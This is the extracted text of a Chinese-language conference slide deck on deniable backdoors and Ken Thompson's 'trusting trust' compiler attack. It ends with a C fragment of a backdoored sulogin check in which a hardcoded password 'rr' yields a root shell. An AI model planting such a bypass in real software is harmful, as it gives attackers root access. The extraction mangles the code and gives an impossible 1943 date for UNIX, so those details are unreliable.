CIS2019-主论坛-现代可抵赖后门研究（45页）.pdf

1、现代可抵赖后门研究-Reflection on trusting trustredrain（照片部分由主办方添加）前360-CERT安全团队负责人专注应用安全研究，安全对抗，恶意网络活动反制跟踪并披露了多个海外APT组织活动Atlassian，Google Hall of Fame成员曾在HITB，Defcon，Cansecwest，Syscan，Team Cymru闭门会议发表演讲目前聚焦情报分析，反APT方向WhoamiWhoamiKTHKen Thompson HackAn acceptance speech from Turing award 1983年因UNIX的贡献Ken获得图灵奖

2、 Ken在图灵获奖感言中提出“Reflections on Trusting Trust”https:/www.archive.ece.cmu.edu/ganger/712.fall02/papers/p761-thompson.pdfWhat I am about to describe is one of many chicken and egg problems that arise when compilers are written in their own language.-STAGEII如何判断程序的安全性 检查源码然而程序也是从编译器而来的 那就检查编译器的源码!可是编译器也

3、是由另一个编译器编译而成 那就检查hosting-compiler!-Eg.GCC compiles GCC所以兔子的洞到底有多深,到底检查鸡生蛋还是蛋生鸡?The problemSelf-reproducing program(Quine)More precisely stated,the problem is to write a source program that,when compiled and executed,will produce as output an exact copy of its source.Self-reproducing program(Quine)He

4、llo WorldnThis is an idealization of the code in the C compiler that interprets the character escape sequence.This is an amazing piece of code.It knows in a completely portable way what character code is compiled for a new line in any character set.The act of knowing then allows it to recompile itse

5、lf,thus perpetuating the knowledge.Self-reproducing program(Quine)若上述字符转义过程的”教学”被用作编译一个新的编译器，其生成结果指定为”标准编译器”，则这个编译器生成的程序将一直驻留这个”学会”的知识，并移除后门代码。Self-reproducing program(Quine)Sulogin compiler-backdoor传闻Ken爷能随意进入世界上任何一台UNIX系统1943年贝尔实验室的PDP-11安装了UNIX供大家玩耍，可Ken爷可以随意进入其他人账户，高人分析后剔除了UNIX的后门并重新安装，可Ken爷依旧如入

6、无人之境Sulogin compiler-backdoorLinux 在Recovery模式中会调起sulogin进行root password验证，通过后给予一个root shell如果验证过程被植入后门while(pwd)if(p=getpasswd(pwd-pw_passwd)=NULL)break;if(pwd-pw_passwd0=0|strcmp(p,rr)=0|strcmp(crypt(p,pwd-pw_passwd),pwd-pw_passwd)=0)sushell(pwd);mask_signal(SIGQUIT,SIG_IGN,&saved_sigquit);mask_si